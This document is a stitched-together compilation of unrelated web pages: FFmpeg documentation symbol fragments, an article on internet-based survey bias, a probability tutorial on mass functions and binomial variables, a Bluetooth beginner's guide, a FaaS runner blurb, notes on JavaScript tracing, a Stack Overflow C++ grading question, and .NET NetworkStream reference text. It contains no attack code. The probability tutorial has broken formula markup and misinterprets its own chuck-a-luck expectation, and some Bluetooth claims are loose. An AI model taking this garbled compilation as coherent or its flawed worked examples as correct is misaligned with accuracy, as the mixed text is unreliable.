Public methodClose()Closes the current stream and releases any resources (such as sockets and file handles) associated with the current stream. Instead of calling this method, ensure that the stream is properly disposed. (Inherited from Stream.)
Public methodClose(Int32)Closes the NetworkStream after waiting the specified time to allow data to be sent.
Public methodCopyTo(Stream)Reads the bytes from the current stream and writes them to another stream. (Inherited from Stream.)
Public methodCopyTo(Stream, Int32)Reads the bytes from the current stream and writes them to another stream, using a specified buffer size. (Inherited from Stream.)
Public methodCopyToAsync(Stream)Asynchronously reads the bytes from the current stream and writes them to another stream. (Inherited from Stream.)
Public methodCopyToAsync(Stream, Int32)Asynchronously reads the bytes from the current stream and writes them to another stream, using a specified buffer size. (Inherited from Stream.)
Public methodCopyToAsync(Stream, Int32, CancellationToken)Asynchronously reads the bytes from the current stream and writes them to another stream, using a specified buffer size and cancellation token. (Inherited from Stream.)
Public methodCreateObjRefCreates an object that contains all the relevant information required to generate a proxy used to communicate with a remote object. (Inherited from MarshalByRefObject.)
Protected methodCreateWaitHandle Obsolete. Allocates a WaitHandle object. (Inherited from Stream.)
Public methodDispose()Releases all resources used by the Stream. (Inherited from Stream.)
Protected methodDispose(Boolean)Releases the unmanaged resources used by the NetworkStream and optionally releases the managed resources. (Overrides Stream.Dispose(Boolean).)
Public methodEndReadHandles the end of an asynchronous read. (Overrides Stream.EndRead(IAsyncResult).)
Public methodEndWriteHandles the end of an asynchronous write. (Overrides Stream.EndWrite(IAsyncResult).)
Public methodEquals(Object)Determines whether the specified object is equal to the current object. (Inherited from Object.)
Protected methodFinalizeReleases all resources used by the NetworkStream. (Overrides Object.Finalize().)
Public methodFlushFlushes data from the stream. This method is reserved for future use. (Overrides Stream.Flush().)
Public methodFlushAsync()Asynchronously clears all buffers for this stream and causes any buffered data to be written to the underlying device. (Inherited from Stream.)
Public methodFlushAsync(CancellationToken)Flushes data from the stream as an asynchronous operation. (Overrides Stream.FlushAsync(CancellationToken).)
Public methodGetHashCodeServes as the default hash function. (Inherited from Object.)
Public methodGetLifetimeServiceRetrieves the current lifetime service object that controls the lifetime policy for this instance. (Inherited from MarshalByRefObject.)
Public methodGetTypeGets the Type of the current instance. (Inherited from Object.)
Public methodInitializeLifetimeServiceObtains a lifetime service object to control the lifetime policy for this instance. (Inherited from MarshalByRefObject.)
Protected methodMemberwiseClone()Creates a shallow copy of the current Object. (Inherited from Object.)
Protected methodMemberwiseClone(Boolean)Creates a shallow copy of the current MarshalByRefObject object. (Inherited from MarshalByRefObject.)
Protected methodObjectInvariantInfrastructure. Obsolete. Provides support for a Contract. (Inherited from Stream.)
Public methodReadReads data from the NetworkStream. (Overrides Stream.Read(Byte[], Int32, Int32).)
Public methodReadAsync(Byte[], Int32, Int32)Asynchronously reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read. (Inherited from Stream.)
Public methodReadAsync(Byte[], Int32, Int32, CancellationToken)Asynchronously reads a sequence of bytes from the current stream, advances the position within the stream by the number of bytes read, and monitors cancellation requests. (Inherited from Stream.)
Public methodReadByteReads a byte from the stream and advances the position within the stream by one byte, or returns -1 if at the end of the stream. (Inherited from Stream.)
Public methodSeekSets the current position of the stream to the given value. This method is not currently supported and always throws a NotSupportedException. (Overrides Stream.Seek(Int64, SeekOrigin).)
Public methodSetLengthSets the length of the stream. This method always throws a NotSupportedException. (Overrides Stream.SetLength(Int64).)
Public methodToStringReturns a string that represents the current object. (Inherited from Object.)
Public methodWriteWrites data to the NetworkStream. (Overrides Stream.Write(Byte[], Int32, Int32).)
Public methodWriteAsync(Byte[], Int32, Int32)Asynchronously writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written. (Inherited from Stream.)
Public methodWriteAsync(Byte[], Int32, Int32, CancellationToken)Asynchronously writes a sequence of bytes to the current stream, advances the current position within this stream by the number of bytes written, and monitors cancellation requests. (Inherited from Stream.)
Public methodWriteByteWrites a byte to the current position in the stream and advances the position within the stream by one byte. (Inherited from Stream.)
Top
NameDescription
Public Extension MethodAsInputStreamConverts a managed stream in the .NET for Windows 8.x Store apps to an input stream in the Windows Runtime. (Defined by WindowsRuntimeStreamExtensions.)
Public Extension MethodAsOutputStreamConverts a managed stream in the .NET for Windows 8.x Store apps to an output stream in the Windows Runtime. (Defined by WindowsRuntimeStreamExtensions.)
Public Extension MethodAsRandomAccessStreamConverts the specified stream to a random access stream. (Defined by WindowsRuntimeStreamExtensions.)
Top
The NetworkStream class provides methods for sending and receiving data over Stream sockets in blocking mode. For more information about blocking versus nonblocking Sockets, see Using an Asynchronous Client Socket. You can use the NetworkStream class for both synchronous and asynchronous data transfer. For more information about synchronous and asynchronous communication, see Sockets.
To create a NetworkStream, you must provide a connected Socket. You can also specify what FileAccess permission the NetworkStream has over the provided Socket. By default, closing the NetworkStream does not close the provided Socket. If you want the NetworkStream to have permission to close the provided Socket, you must specify true for the value of the ownsSocket parameter.
Use the Write and Read methods for simple single thread synchronous blocking I/O. If you want to process your I/O using separate threads, consider using the BeginWrite and EndWrite methods, or the BeginRead and EndRead methods for communication.
The NetworkStream does not support random access to the network data stream. The value of the CanSeek property, which indicates whether the stream supports seeking, is always false; reading the Position property, reading the Length property, or calling the Seek method will throw a NotSupportedException.
Read and write operations can be performed simultaneously on an instance of the NetworkStream class without the need for synchronization. As long as there is one unique thread for the write operations and one unique thread for the read operations, there will be no cross-interference between read and write threads and no synchronization is required.
The following code example demonstrates how to create a NetworkStream from a connected Stream Socket and perform basic synchronous blocking I/O.
// Examples for constructors that do not specify file permission.
// Create the NetworkStream for communicating with the remote host.
NetworkStream myNetworkStream;
if (networkStreamOwnsSocket){
myNetworkStream = new NetworkStream(mySocket, true);
}
else{
myNetworkStream = new NetworkStream(mySocket);
}
.NET Framework
Supported in: 4.6, 4.5, 4, 3.5, 3.0, 2.0, 1.1
.NET Framework Client Profile
Supported in: 4, 3.5 SP1
Any public static (Shared in Visual Basic) members of this type are thread safe. Any instance members are not guaranteed to be thread safe.
Show:
© 2015 Microsoft
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| 0.674248 |
Understanding The Loop
Understanding how the Loop functions will help you understand how you can control it. Controlling the Loop to display exactly the content you want will be one of your most used tools in developing WordPress-powered web sites. Because the Loop is at the heart of every WordPress theme, being able to customize the display content opens up the doors to making WordPress look and act however you want.
To understand the Loop, it helps to break down the steps WordPress takes to generate a page's content:
> The URL is matched against existing files and directories in the WordPress installation. If the file is there, it is loaded by the web server. WordPress doesn't actually get involved in this decision; it's up to your web server and the .htaccess file created by WordPress to decide if the URL is something handled by the web server or to be turned into a WordPress content query. This was covered in Chapter 4.
> If the URL is passed to WordPress, it has to determine what content to load. For example, when visiting a specific tag page like http: //example.com/tag/bacon, WordPress will determine that you are viewing a tag and load the appropriate template, select the posts saved with that tag, and generate the output for the tag page.
> The translation of URL to content selection magic happens inside of the parse_query () method within the WP_Query object that WordPress created early on in its processing. WordPress parses the URL first into a set of query parameters that are described in the next section. All query strings from the URL are passed into WordPress to determine what content to display, even if they look like nicely formatted pathnames. If your site is using pretty permalinks, the values between slashes in those permalinks are merely parameters for query strings. For example, http://example.com/tag/bacon is the same as http: //example.com?tag=bacon, which conveys a query string of "tag with a value of bacon.''
> WordPress then converts the query specification parameters into a MySQL database query to retrieve the content. The workhorse here is the get_ posts () method within the WP_Query object that we describe later in this chapter. The get_ posts () method takes all of those query parameters and turns them into SQL statements, eventually invoking the SQL string on the MySQL database server and extracting the desired content. The content returned from the database is then saved in the WP_Query object to be used in the WordPress Loop and cached to speed up other references to the same posts made before another database query is executed.
> Once the content is retrieved, WordPress sets all of the is_ conditional tags such as is_home and is_ page. These are set as part of executing the default query based on the URL parsing, and we'll discuss cases where you may need to reset these tags.
> WordPress picks a template from your theme based on the type of query and the number of posts returned, for example, a single post or a category only query, and the output of the query is passed to this default invocation of the Loop.
The Loop can be customized for different web site purposes. For example, a news site might use the Loop to display the latest news headlines. A business directory could use the Loop to display local businesses alphabetically by name, or always put posts about sponsoring businesses at the top of every displayed page. A photo blog might use the Loop to display the most recent photos loaded into the web site. The possibilities are endless when customizing the Loop in WordPress because it gives you complete control over what content is selected and the order in which it is rendered for display.
Six Figure Blog Marketing
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Post a comment
|
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| 0.628297 |
Results 1 to 5 of 5
1. #1
I copied Saved Preferences.prc from RAM to a folder on SD card using Explorer and FileZ. The copies were made within seconds of each other.
The files have different names on the SD card (but that was explained in a separate thread earlier). However, the file sizes and # of records in them were very different as well. Why?
Here are the details:
Saved by FileZ:
Name: Saved Preferences.prc
Type: sprf
Creator: psys
Size: 33810 b, 236 records
Saved by Explorer:
Name: Saved%20Preferences.prc
Type: sprf
Creator: psys
Size: 79092 b, 278 records
The Unsaved Preferences.prc sizes are different too.
Saved by FileZ: 52 K
Saved by Explorer: 32 K
What's the explanation for these differences?
I use these files to restore the preferences after recent crashes that result in lost preferences. I would like to know if the 2 programs (FileZ and Explorer) are equally reliable in saving and restoring these files.
--
Aloke
Cingular GSM
Software:Treo650-1.17-CNG
Firmware:01.51 Hardware:A
2. #2
Try this before jumping to any conclusions:
Copy the "Saved Preferences.prc" file with FileZ, then exit the program and open Resco. Do not save the same file with Resco. Instead use Resco to save a different .prc file, then exit. Open FileZ again, and save the "Saved Preferences.prc" file again, but under a different name or folder. Finally compare those two copies of the same file, both copied by FileZ, and see if they are the identical or not.
I have a feeling that FileZ or Resco is saving info to the saved preferences file at some point (as certain apps do), which is causing the file to grow and/or shrink in between switching/using apps to make copies.
Honestly, I wouldnt worry. Whatever you copy it with, that last copy is going to be the most current. Also, if you hotsync regularly you have a copy there too.
.
3. #3
The size of Saved Preferences in my Backup folder (on pc) is 34K, similar to the size saved by FileZ.
I have asked Resco for an explanation as well. Let's see what they say about this...
--
Aloke
Cingular GSM
Software:Treo650-1.17-CNG
Firmware:01.51 Hardware:A
4. #4
Can anyone else duplicate my results?
Copy Saved Preferences and Unsaved Preferences from RAM to a directory on the SD card using Resco Explorer. Now check the file properties (size, # of records) of the files in RAM and card using Explorer File Info.
Do you see any differences?
Last edited by aprasad; 12/28/2005 at 02:09 PM. Reason: more info
--
Aloke
Cingular GSM
Software:Treo650-1.17-CNG
Firmware:01.51 Hardware:A
5. #5
I tried to copy save pref to my card by using filez and rescoexplorer.
Nothing Different in size or record items.
Posting Permissions
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| 0.505447 |
[RFC] Is a more expressive way to represent reductions useful?
I’m reviewing [AArch64] Generate DOT instructions from matching IR by huntergr-arm · Pull Request #69583 · llvm/llvm-project · GitHub and find the need to perform block/loop analysis in order to identify a reduction to be bothersome. For the transformation to be safe the new pass wants to identify add operations that can be cross-lane reassociated. However, during vectorisation we know this is our intent so I figure we can represent this better at the IR level to maximise expressiveness. This goes beyond the PR’s DOT use case as at least for SVE there’s other instructions that are tricky to use once the reassociativity information is lost.
We could add dedicated intrinsics like:
Ty vector.reassociative.<binop>(Ty X, Ty Y): whereby X and Y are concatenated and then a binop is performed for each result lane by selecting any two input lanes once and all once.
Or:
Ty vector.shuffle.obscure(Ty X): which performs no real work other than to represent an unknown translation of input to output lanes.
{Ty, Ty} vector.shuffle.obscure(Ty X, Ty T):
I personally prefer the shuffle option because one or two intrinsics likely cover all cases but then perhaps this can be represented using instruction flags or metadata? My gut feeling is that would be dangerous in the face of CSE?
What do others think? Is this a problem worth solving? or are passes like that in the PR the best solution?
Thinking about this a little more I guess for best results we might also need to incorporate some kind of partial reduction properties to represent a reduction of element count. This makes me wonder if a solution exists that doesn’t necessitate having to add code generation support for something new, which is something I’ve been trying to avoid.
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| 0.993736 |
Friday
February 27, 2015
Homework Help: math
Posted by Al on Monday, April 2, 2012 at 6:47am.
5 4 10b b 6 ?
5a 2a 40 2 2 5c
The above numbers are presented in 3 sets of 4 boxes each.
What is the missing algebraic expression in the box in the last set?
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| 0.572618 |
fatal error php handler Kieler Wisconsin
Address 5739 Seemore Rdg, Potosi, WI 53820
Phone (608) 330-2794
Website Link http://www.oyentechnologies.com
Hours
fatal error php handler Kieler, Wisconsin
I find it useful to throw an Exception when this error is caught, then you can use try/catch. go
Reply Leave a Reply Cancel reply Your email address will not be published. How?
Copyright 1999-2016 by Refsnes Data. Logical fallacy: X is bad, Y is worse, thus X is not bad The mortgage company is trying to force us to make repairs after an insurance claim This riddle could When an exception is thrown, code following the statement will not be executed, and PHP will attempt to find the first matching catch block. But this class acts a nice container for those functions. up down 4 pinkgothic at gmail dot com ¶6 years ago If you're handling sensitive data and you don't
Now that we have created an error handling function we need to decide when it should be triggered. Which day of the week is today? However, I couldn't find out how to determine if the shutdown has occured due to a fatal error or due to the script reaching its end. How would they learn astronomy, those who don't see the stars? "Rollbacked" or "rolled back" the edit?
share|improve this answer edited Jul 1 '15 at 1:20 answered Nov 10 '08 at 9:44 keparo 19.5k105164 23 Pfff, I remember those 650.000+ e-mails i got the following morning. Try it and see what happens! This is the handler signature since PHP 7: void handler ( Throwable $ex ) NULL may be passed instead, to reset this handler to its default state. Catch − A "catch" block retrieves an exception and creates an object containing the exception information.
Pinpointing the file/line where it occured is enough. For example, if your PHP has a compile error, it makes sense that the compiler won’t be able to read your code and see that you’re trying to set a custom thanks Reply James says: May 31, 2016 at 2:53 PM Good tip, thanks! Recovering from fatal errors (memory limits for example) is not something that I would try to do, but making these errors discoverable (without customer submitting a support ticket) makes all the
A better way to evaluate a certain determinant Did Sputnik 1 have attitude control? I assume the comments are because the code is posted here, since none of them provide extra information your code doesn't provide. The variables have meaningful names and the indentation is good. php fatal-error share|improve this question edited Dec 22 '13 at 19:26 aksu 3,94451434 asked Nov 10 '08 at 6:42 too much php 41.8k26106123 add a comment| 17 Answers 17 active oldest
Code:
Replace lines matching a pattern with lines from another file in order Is accuracy binary? Fatal errors are called that, because they are fatal. share|improve this answer answered May 2 '12 at 23:33 J.Money 3,28511838 add a comment| up vote 6 down vote Nice solution found in Zend Framework 2: /** * ErrorHandler that can Credits: Picture by John Trainor Please enable JavaScript to view the comments powered by Disqus.
I wouldn't use in live production code but it's great to add to a page when a quick answer to what is failing is needed. Send an Error Message by E-Mail In the example below we will send an e-mail with an error message and end the script, if a specific error occurs:
For those of you looking for an object orientated way to do this without looking down at Glen and Sean's examples (Lesson 1: ALWAYS read the logs!), here you go:
However, if you use a custom error handler to convert errors to ErrorExceptions suddenly there are a multitude of new I was searching for this solution too long time and didn't find! The PHP manual describes an E_RECOVERABLE_ERROR as: Catchable fatal error.
more stack exchange communities company blog Stack Exchange Inbox Reputation and Badges sign up log in tour help Tour Start here for a quick overview of the site Help Center Detailed Join them; it only takes a minute: Sign up Handle fatal errors in PHP using register_shutdown_function() up vote 21 down vote favorite 11 According to the comment on this answer it asked 7 years ago viewed 244368 times active 2 months ago Visit Chat Linked 0 is it possible to catch fatal error php on include file? 0 Is there a way Replace lines matching a pattern with lines from another file in order How to get this substring on bash script?
This is very inconvinient. In still agreeing with keparo, catching fatal errors does defeat the purpose of "FATAL error" so its not really intended for you to do further processing. This is because processing should not typically be recovered after a fatal error. Books for chess traps With the passing of Thai King Bhumibol, are there any customs/etiquette as a traveler I should be aware of?
Lets explain there new keyword related to exceptions. The script found something that might be an error, but could also happen when running a script normally 8 5 E_CORE_ERROR Fatal errors that occur during PHP's initial start-up. 16 6 Each try must have at least one corresponding catch block. Isn't that more expensive than an elevated system?
That is, if you define your own global exception handler by calling set_exception_handler() and you throw an exception from inside it then this fatal error occurs.
|
__label__pos
| 0.797529 |
performance measurements
Each table row shows performance measurements for this Go program with a particular command-line input value N.
N CPU secs Elapsed secs Memory KB Code B ≈ CPU Load
250,0001.420.5135,2921531 90% 78% 58% 61%
2,500,00013.394.5550,0241531 92% 79% 62% 64%
25,000,000136.3247.62263,2161531 87% 56% 57% 89%
Read the ↓ make, command line, and program output logs to see how this program was run.
Read k-nucleotide benchmark to see what this program should do.
notes
go version go1.3 linux/amd64
k-nucleotide Go #2 program source code
/* The Computer Language Benchmarks Game
* http://benchmarksgame.alioth.debian.org/
*
* contributed by Tylor Arndt
*/
package main
import (
"bufio"
"bytes"
"fmt"
"io/ioutil"
"log"
"os"
"runtime"
"sort"
"sync"
)
func main() {
runtime.GOMAXPROCS(4)
dna := readEncDNA()
var wgs [7]*sync.WaitGroup
for i := 0; i < 7; i++ {
wgs[i] = new(sync.WaitGroup)
}
report(dna, 1, nil, wgs[0])
report(dna, 2, wgs[0], wgs[1])
report(dna, 3, wgs[1], wgs[2])
report(dna, 4, wgs[2], wgs[3])
report(dna, 6, wgs[3], wgs[4])
report(dna, 12, wgs[4], wgs[5])
report(dna, 18, wgs[5], wgs[6])
wgs[6].Wait()
}
func readEncDNA() []byte {
in, startTok := bufio.NewReader(os.Stdin), []byte(">THREE ")
for line, err := in.ReadSlice('\n'); !bytes.HasPrefix(line, startTok); line, err = in.ReadSlice('\n') {
if err != nil {
log.Panicf("Error: Could not read input from stdin; Details: %s", err)
}
}
ascii, err := ioutil.ReadAll(in)
if err != nil {
log.Panicf("Error: Could not read input from stdin; Details: %s", err)
}
j := 0
for i, c, asciic := 0, byte(0), len(ascii); i < asciic; i++ {
c = ascii[i]
switch c {
case 'a', 'A':
c = 0
case 't', 'T':
c = 1
case 'g', 'G':
c = 2
case 'c', 'C':
c = 3
case '\n':
continue
default:
log.Fatalf("Error: Invalid nucleotide value: '%c'", ascii[i])
}
ascii[j] = c
j++
}
return ascii[:j+1]
}
var targSeqs = []string{3: "GGT", 4: "GGTA", 6: "GGTATT", 12: "GGTATTTTAATT", 18: "GGTATTTTAATTTATAGT"}
func report(dna []byte, n int, prev, done *sync.WaitGroup) {
done.Add(1)
go func() {
tbl, output := count(dna, n), ""
switch n {
case 1, 2:
output = freqReport(tbl, n)
default:
targ := targSeqs[n]
output = fmt.Sprintf("%d\t%s\n", tbl[compStr(targ)], targ)
}
if prev != nil {
prev.Wait()
}
fmt.Print(output)
done.Done()
}()
}
func count(dna []byte, n int) map[uint64]uint64 {
tbl := make(map[uint64]uint64, (2<<16)+1)
for i, end := 0, len(dna)-n; i < end; i++ {
tbl[compress(dna[i:i+n])]++
}
return tbl
}
func compress(dna []byte) uint64 {
var val uint64
for i, dnac := 0, len(dna); i < dnac; i++ {
val = (val << 2) | uint64(dna[i])
}
return val
}
func compStr(dna string) uint64 {
raw := []byte(dna)
for i, rawc, c := 0, len(raw), byte(0); i < rawc; i++ {
c = raw[i]
switch c {
case 'A':
c = 0
case 'T':
c = 1
case 'G':
c = 2
case 'C':
c = 3
}
raw[i] = c
}
return compress(raw)
}
func decompToBytes(compDNA uint64, n int) []byte {
buf := bytes.NewBuffer(make([]byte, 0, n))
var c byte
for i := 0; i < n; i++ {
switch compDNA & 3 {
case 0:
c = 'A'
case 1:
c = 'T'
case 2:
c = 'G'
case 3:
c = 'C'
}
buf.WriteByte(c)
compDNA = compDNA >> 2
}
if n > 1 {
return reverse(buf.Bytes())
}
return buf.Bytes()
}
func reverse(s []byte) []byte {
for i, j := 0, len(s)-1; i < j; i, j = i+1, j-1 {
s[i], s[j] = s[j], s[i]
}
return s
}
func freqReport(tbl map[uint64]uint64, n int) string {
seqs := make(seqSlice, 0, len(tbl))
var val, count, sum uint64
for val, count = range tbl {
seqs = append(seqs, seq{nuc: decompToBytes(val, n), n: count})
sum += count
}
sort.Sort(seqs)
var buf bytes.Buffer
sumFloat, entry := float64(sum), seq{}
for _, entry = range seqs {
fmt.Fprintf(&buf, "%s %.3f\n", entry.nuc, (100*float64(entry.n))/sumFloat)
}
buf.WriteByte('\n')
return buf.String()
}
type seq struct {
nuc []byte
n uint64
}
type seqSlice []seq
func (seq seqSlice) Len() int { return len(seq) }
func (seq seqSlice) Swap(i, j int) { seq[i], seq[j] = seq[j], seq[i] }
func (seq seqSlice) Less(i, j int) bool {
if seq[i].n == seq[j].n {
return bytes.Compare(seq[i].nuc, seq[j].nuc) < 0
}
return seq[i].n > seq[j].n
}
make, command-line, and program output logs
Thu, 19 Jun 2014 06:17:48 GMT
MAKE:
/usr/local/src/go/bin/go build -o knucleotide.go-2.go_run
0.48s to complete and log all make actions
COMMAND LINE:
./knucleotide.go-2.go_run 0 < knucleotide-input25000000.txt
PROGRAM OUTPUT:
A 30.295
T 30.151
C 19.800
G 19.754
AA 9.177
TA 9.132
AT 9.131
TT 9.091
CA 6.002
AC 6.001
AG 5.987
GA 5.984
CT 5.971
TC 5.971
GT 5.957
TG 5.956
CC 3.917
GC 3.911
CG 3.909
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893 GGTATTTTAATT
893 GGTATTTTAATTTATAGT
Revised BSD license
Home Conclusions License Play
|
__label__pos
| 0.988643 |
Using lifecycle ignore_changes for attributes managed outside of terraform
Hi,
I have some deployed instances and EBS resources in AWS, all of which have EC2 tags on. I want to ensure that future changes ignore some but not all of the tags. I’ve followed the documentation but I’m getting some unexpected behaviour for tags changed outside of terrform. I’m using terraform v0.13.6 and aws provider 3.58.
The docs (The lifecycle Meta-Argument - Configuration Language | Terraform by HashiCorp) state “The ignore_changes feature is intended to be used when a resource is created with references to data that may change in the future, but should not affect said resource after its creation. In some rare cases, settings of a remote object are modified by processes outside of Terraform, which Terraform would then attempt to “fix” on the next run. In order to make Terraform share management responsibilities of a single object with a separate process, the ignore_changes meta-argument specifies resource attributes that Terraform should ignore when planning updates to the associated remote object.” Since I have processes outside of terraform that add new tags, this sounds exactly what I’m looking for.
ignore_changes seems to work with tags which are managed by terraform, but tries to set tags not managed by terraform to null.
Here’s some sample config:
resource "aws_instance" "fileserver" {
...
lifecycle {
ignore_changes = [
user_data,
tags["App_version"],
tags["Config_version"],
tags["hostname"],
]
}
tags = {
"App_version" = local.app_version
"Config_version" = local.config_version
}
...
}
resource "aws_ebs_volume" "volume" {
...
lifecycle {
ignore_changes = [
tags["App_version"],
tags["Config_version"],
tags["Drive_Letter"],
]
}
tags = {
"App_version" = local.app_version
"Config_version" = local.config_version
}
}
My output is “unexpected” because if I run a tf plan where I have changed the input values for “Config_version”, this tag is ignored as expected, but the tags which are changed outside of terraform are not ignored, but instead set to null:
# module.storage.aws_instance.fileserver will be updated in-place
~ resource "aws_instance" "fileserver" {
...
~ tags = {
"App_version" = "develop"
"Config_version" = "feature/QWE-1234"
- "hostname" = "EC2AMAZ-5JJJ44G" -> null
}
}
# module.storage.aws_ebs_volume.volume will be updated in-place
~ resource "aws_ebs_volume" "volume" {
...
~ tags = {
"App_version" = "develop"
"Config_version" = "feature/QWE-1234"
- "Drive_Letter" = "D:" -> null
}
}
Are the docs wrong, is there a bug, or was this feature introduced into a later version of terraform?
Help appreciated.
Thanks.
Looks like this was fixed in v0.14.0:
Thanks.
|
__label__pos
| 0.843518 |
Title:
Managing email servers by prioritizing emails
Kind Code:
A1
Abstract:
Disclosed are email server management methods and systems that protect the ability of the infrastructure of the email server to process legitimate emails in the presence of large spam volumes. During a period of server overload, priority classes of emails are identified, and emails are processed according to priority. In a typical embodiment, the server sends emails sequentially in a queue, and the queue has a limited capacity. When the server nears or reaches that capacity, the emails in the queue are analyzed to identify priority emails, and the priority emails are moved to the head of the queue.
Inventors:
Sen, Subhabrata (New Providence, NJ, US)
Haffner, Patrick (Atlantic Highlands, NJ, US)
Spatscheck, Oliver (Randolph, NJ, US)
Venkataraman, Shobha (Pittsburgh, PA, US)
Application Number:
11/977243
Publication Date:
04/30/2009
Filing Date:
10/24/2007
Primary Class:
International Classes:
G06F15/16
View Patent Images:
Primary Examiner:
PFIZENMAYER, MARK C
Attorney, Agent or Firm:
AT&T CORP. (ROOM 2A207, ONE AT&T WAY, BEDMINSTER, NJ, 07921, US)
Claims:
1. Method for server management of email wherein the server receives X emails sequentially in an input queue, and sends E emails to email subscribers sequentially in an output queue, and the server queue has a capacity of C emails, comprising the steps of: 1) analyzing the emails to identify a class P of priority emails, where P is a fraction of X, 2) moving the P emails to the head of the E email queue.
2. The method of claim 2 wherein E is less than X.
3. The method of claim 2 wherein steps 1) and 2) are performed when X is approximately equal to C.
4. The method of claim 2 wherein steps 1) and 2) are performed when X is greater than 75% of C.
5. The method of claim 1 wherein the E emails comprise spam emails S and legitimate emails L.
6. The method of claim 5 wherein the P emails comprises L emails and a portion of S emails.
7. The method of claim 6 wherein the P emails are identified by identifying a least a portion of S emails, and subtracting the portion of S emails from E.
8. The method of claim 1 wherein the P emails are identified based on the reputation of emails.
9. The method of claim 8 wherein the reputation is based on IP address.
10. The method of claim 8 wherein the reputation is based on IP cluster identification.
11. The method of claim 8 wherein the reputation is based on both IP address and IP cluster identification.
12. The method of claim 1 wherein the P emails are identified based on the persistence of emails.
13. The method of claim 12 wherein the persistence is based on IP address.
14. The method of claim 12 wherein the persistence is based on IP cluster identification.
15. The method of claim 12 wherein the persistence is based on both IP address and IP cluster identification.
Description:
FIELD OF THE INVENTION
This invention relates to systems and methods for prioritizing emails during periods of overload in an email server. More specifically, it involves sorting emails to establish one or more priority email classes, and queuing emails by priority class during periods of email server overload.
BACKGROUND OF THE INVENTION
Email has emerged as an indispensable and ubiquitous means of communication and is arguably one of the “killer” applications on the Internet. In many businesses, emails are at least as important as telephone calls, and in private communication emails have replaced writing letters by a large extent. Unfortunately, the utility of email is increasingly diminished by an ever larger volume of spam requiring both mail server and human resources to handle.
Considerable effort has focused on reducing the amount of spam an email user will receive. Most Internet Service Providers (ISPs) operate some type of spam filtering to identify and remove spam emails before they are received by the end-user. Email software on an end-user's PC might add an additional layer of filtering to remove this unwanted traffic based on the typical email patterns of the end-user.
On the other hand, there has been less attention paid to how these large volume of spam messages impact the ISP mail infrastructure which has to receive, filter and deliver mail appropriately. Spam is typically sent from zombies, and to a smaller extent, from open mail relays. Since zombie networks are very large, the spam that an attacker can generate is extremely elastic. The attacker can easily generate far many more messages per second than even the largest mail server can receive or process. However, the spammer has no interest in crashing a mail server since that would prevent the spam emails from being delivered. At the same time, there is a clear incentive to send large volumes of spam—the more spam a spammer sends the more likely it is that some of the spam will penetrate the spam filters deployed by ISPs. Given these observations, it is unsurprising that spammers would try to maximize the amount of spam they send by increasing the load on the mail infrastructure to a point at which the most spam will be received. In fact, this has been observed on mail servers of large ISPs. Mail servers typically respond to overloads by dropping emails at random. If the spammer increases the spam volume, more spam is likely to get accepted by the mail server. Thus, the spammer's optimal operation point is not the maximum capacity of the mail server, but the maximum load before the mail server will crash. This indicates that the approach of throwing more resources at the problem does not work in this case: increasing the mail server capacity will not work, unless it can be increased to a point larger than the largest botnet available to the spammer. This is typically not economically feasible, and so a different approach is needed.
While it is not the objective of spammers to overload the server, overload conditions in servers do occur as the result of large spam volume, and result in denial of service (DoS) for at least some users. DoS events may also occur as the result of deliberate overloads caused by one or more malicious users. These are referred to as DoS attacks. Small email servers, serving, for example, local area networks (LANS) are especially susceptible to DoS attacks.
BRIEF STATEMENT OF THE INVENTION
We have designed systems, and operation of systems, that prevent or reduce either of these forms of DoS. In the primary case, these protect the ability of the infrastructure of an email server to process legitimate emails in the presence of large spam volumes. They operate by identifying priority classes of emails, and processing emails according to priority during a period of server overload. In this description, this operation will be referred to as priority sorting. In one embodiment, priority sorting is invoked by the server when the server volume is at or near capacity. In this embodiment, the server sends emails sequentially in a queue, and the queue has a limited capacity. When the server nears or reaches that capacity, the emails in the queue are analyzed to identify priority emails, and the priority emails are moved to the head of the queue.
In another embodiment, which recognizes that once the tools for implementing priority sorting are in place for use during overload conditions, the option exists for operating the server using priority sorting during normal (non-overload) conditions as well.
To implement priority sorting, it is necessary to invoke one or more methods for identifying priority email. The priority email is classified here as legitimate email, and can be categorized by identifying the legitimate email directly, or by deriving the legitimate email by identifying and separating out spam, or combinations of both.
BRIEF DESCRIPTION OF THE DRAWING
The invention may be better understood when considered in conjunction with the drawing in which:
FIG. 1 is a plot of daily email volume vs. attempted SMTP connection, attempts received, emails where SpamAssassin™ is applied, and non-spam messages;
FIG. 2 shows cumulative distribution function (CDF) of the spam ratios of individual IPs:
FIG. 3 is a plot of legitimate emails sent vs. IP spam-ratio;
FIG. 4 is a plot of spam emails sent vs. IP spam-ratio;
FIG. 5 is a plot of the persistence in days of IP addresses;
FIG. 6 is a plot of the persistence in days of good IP addresses;
FIG. 7 is a plot of the persistence in days of IP addresses;
FIG. 8 is a plot of the persistence in days of spam IP addresses;
FIG. 9 shows the CDF of the frequency-fraction excess for several good k-sets;
FIG. 10 shows the fraction of spam sent by spam IP addresses and spam clusters;
FIG. 11 is a plot similar to FIG. 10 for legitimate email; and
FIGS. 12 and 13 show persistence of network-aware clusters. FIG. 12 shows spam and FIG. 13 shows legitimate emails.
DETAILED DESCRIPTION OF THE INVENTION
Most known spam control techniques use a form of blacklist. Various forms of whitelists have also been proposed, but whitelists are inherently restrictive and thus typically not widely used. However, we propose a new variation of a whitelist approach to address the problem of server overload.
The two main categories of emails discussed herein, i.e. legitimate emails and spam emails, are well known and easily recognized categories. Legitimate emails have information content and are sent usually once to a limited number of recipients. Spam emails typically have advertising content and are sent once or more than once to a large number of recipients, e.g. more than 50 recipients. In between there is a significant volume of email that is legitimate but sent to a large number of recipients, e.g. inter-company alerts, subscriber lists, etc., as well as a significant volume of spam that may initially be sent to a relatively limited number of relay recipients (e.g. zombies, i.e, computers of innocent users that are co-opted by a spam sender to relay spam to an innocent user's address list). The objective of the invention is to identify a class of legitimate emails with a relatively high confidence level. These are defined as “priority” emails.
The focus of the invention is a technique to protect the ability of mail server infrastructure to process legitimate emails in the presence of large spam volumes. The goal is to increase the amount of legitimate mail that the server processes when under overload, and gain a performance improvement over the current approaches of dropping mail at random.
To address this problem specifically, incoming emails are dropped selectively during overload situation. The selection process may be viewed from two related but distinct perspectives. One, the selected emails may be emails that are identified, with a high level of confidence, as spam, or: two, emails that are identified, with a high level of confidence, as legitimate emails. The email queue in the server is modified in the first case by dropping the spam emails from the queue, or in the second case by moving the legitimate emails to the front of the queue. The result in terms of averting an overloaded server is qualitatively the same. But the selection process may be different.
